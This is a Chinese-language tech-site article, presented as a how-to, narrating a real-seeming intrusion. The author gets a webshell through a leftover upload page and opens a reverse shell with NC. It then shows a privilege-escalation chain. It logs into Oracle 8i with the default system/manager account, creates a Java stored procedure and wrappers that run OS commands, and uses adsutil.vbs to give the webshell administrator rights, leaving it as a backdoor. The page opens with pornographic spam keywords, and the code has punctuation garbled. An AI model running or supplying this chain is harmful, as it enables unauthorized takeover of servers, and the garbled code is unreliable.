偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

通過oracle默認賬戶提升權限的實現(xiàn)方法

數(shù)據(jù)庫 Oracle
通過oracle默認賬戶也能夠提升訪問的權限?是的,下面就教您這種通過oracle默認賬戶提升權限的實現(xiàn)方法,供您參考學習。

在oracle數(shù)據(jù)庫中,通過oracle默認賬戶也是可以提升訪問權限的,下文就為您介紹一個通過oracle默認賬戶提升權限的例子,希望可以讓您對數(shù)據(jù)庫安全性方面有所啟迪:

近日,偶到一主機上逛了一圈。主機的配置還算是安全,偏偏一個比較隱藏的目錄下殘留了upfile.asp,結果輕輕松松的得到了webshell。

接著在主機上逛了逛,拿出superscan從外面掃了下,只開放了80端口。從user\程序目錄里,發(fā)現(xiàn)有一快捷方式:firecontrol,好象是某款硬件防火墻的控制臺。WEBSHELL下檢測了下開放的服務,發(fā)現(xiàn)一般的可提權的方法都不可行,無SERV-U等等,主機的補丁也是打到了最新。試了下傳了個NC上去,反連接得到一SHELL,這下比在老兵的管理器里舒服多了。

在C盤下看到一個目錄oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,確定了主機的服務名“xxx”,看了下版本“oracle 8i”,用數(shù)據(jù)庫連接器 Provider=MSDAORA.1.Password=manager.User ID=system.DataSource=xxxx試了下默認的system賬戶,密碼manager,結果真的就連接到了本地的oracle服務。

這下好了,oracle默認賬戶就像是mssql下的sa,我們來通過他來提升權限,馬上編輯了幾個腳本。

1.

  1. sql create or replace and compilejava source named "Util"asimport java.io.*.  
  2. import java.lang.*.   
  3. public class Util extends Object{public static int RunThis(String args)  
  4. {  
  5. Runtime rt = Runtime.getRuntime().  
  6. int rc = -1.   
  7. try{Process p = rt.exec(args).  
  8. int bufSize = 4096.  
  9. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize).  
  10. int len.byte buffer[] = new byte[bufSize].  
  11. // Echo back what the program spit out  
  12. while ((len = bis.read(buffer, 0, bufSize)) != -1)  
  13. System.out.write(buffer, 0, len).   
  14. rc = p.waitFor().  
  15. }  
  16. catch (Exception e)  
  17. {  
  18. e.printStackTrace().  
  19. rc = -1.  
  20. }  
  21. finally{return rc.  
  22. }  
  23. }  
  24. }  
  25.  

2.

  1. sql create or replacefunction RUN_CMD(p_cmd in varchar2)  
  2. return numberaslanguage javaname Util.RunThis(java.lang.String)   
  3. return integer. 

3.

  1. sql create or replace procedure RC(p_cmd in varchar2)asx number.  
  2. beginx :run_cmd(p_cmd).  
  3. end. 

保存在c:\下,然后用反連接得到的shell運行 sqlplus system/manager@xxx然后再來執(zhí)行腳本 SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql看到JAVA已創(chuàng)建、函數(shù)已創(chuàng)建、過程已創(chuàng)建,接著我們繼續(xù) SQL> variable x number.SQL> set serveroutput onSQL> exec dbms_java.set_output(100000).SQL>grant javasyspriv to system看到授權成功。

接著我們就可以來執(zhí)行系統(tǒng)命令了。我想先把ASP.dll加入特權一組 SQL>exec :x := RUN_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ).看到過程已經(jīng)成功完成,這個時候我們重新登陸我們的webshell,他已經(jīng)具有admin權限了。接著,再用NC返回一個shell,已經(jīng)是管理權限的,我們可以做我們想干的事了。因為這個主機有防火墻過濾除80以外的端口,所以不好做圖形的后門,只有留下一有權限的webshell。到此已經(jīng)提權成功。

 

 

 

【編輯推薦】

oracle數(shù)據(jù)導出和導入的權限

Oracle用戶和模式的區(qū)別

查看oracle用戶權限

oracle對象權限簡介

帶您深入了解oracle權限管理

 

責任編輯:段燃 來源: 互聯(lián)網(wǎng)
相關推薦

2009-08-07 09:35:40

Oracle發(fā)送Ema

2025-06-26 10:35:31

2009-07-19 10:06:12

2011-08-02 15:07:43

組策略群集用戶賬戶

2011-07-27 14:22:41

Oracle 10g DBA賬戶

2010-11-19 13:42:38

2010-10-29 13:34:09

Oracle日志

2010-10-29 10:33:55

ORACLE默認用戶

2009-10-21 14:27:12

Oracle用戶權限分

2009-10-21 14:48:39

Oracle用戶權限表

2020-11-17 11:35:33

威脅管理

2010-10-29 14:20:54

Oracle移動控制文

2010-11-19 13:14:21

Oracle刪除歸檔日

2010-04-14 09:41:10

Oracle數(shù)據(jù)備份

2010-10-14 11:48:20

MySQL賬戶密碼

2010-04-19 09:06:24

Oracle的方法

2009-11-02 15:15:43

Oracle授予用戶權

2009-11-03 17:08:38

Oracle修改用戶權

2010-10-27 16:49:23

Oracle刪除重復記

2010-10-29 16:12:51

Oracle存儲過程
點贊
收藏

51CTO技術棧公眾號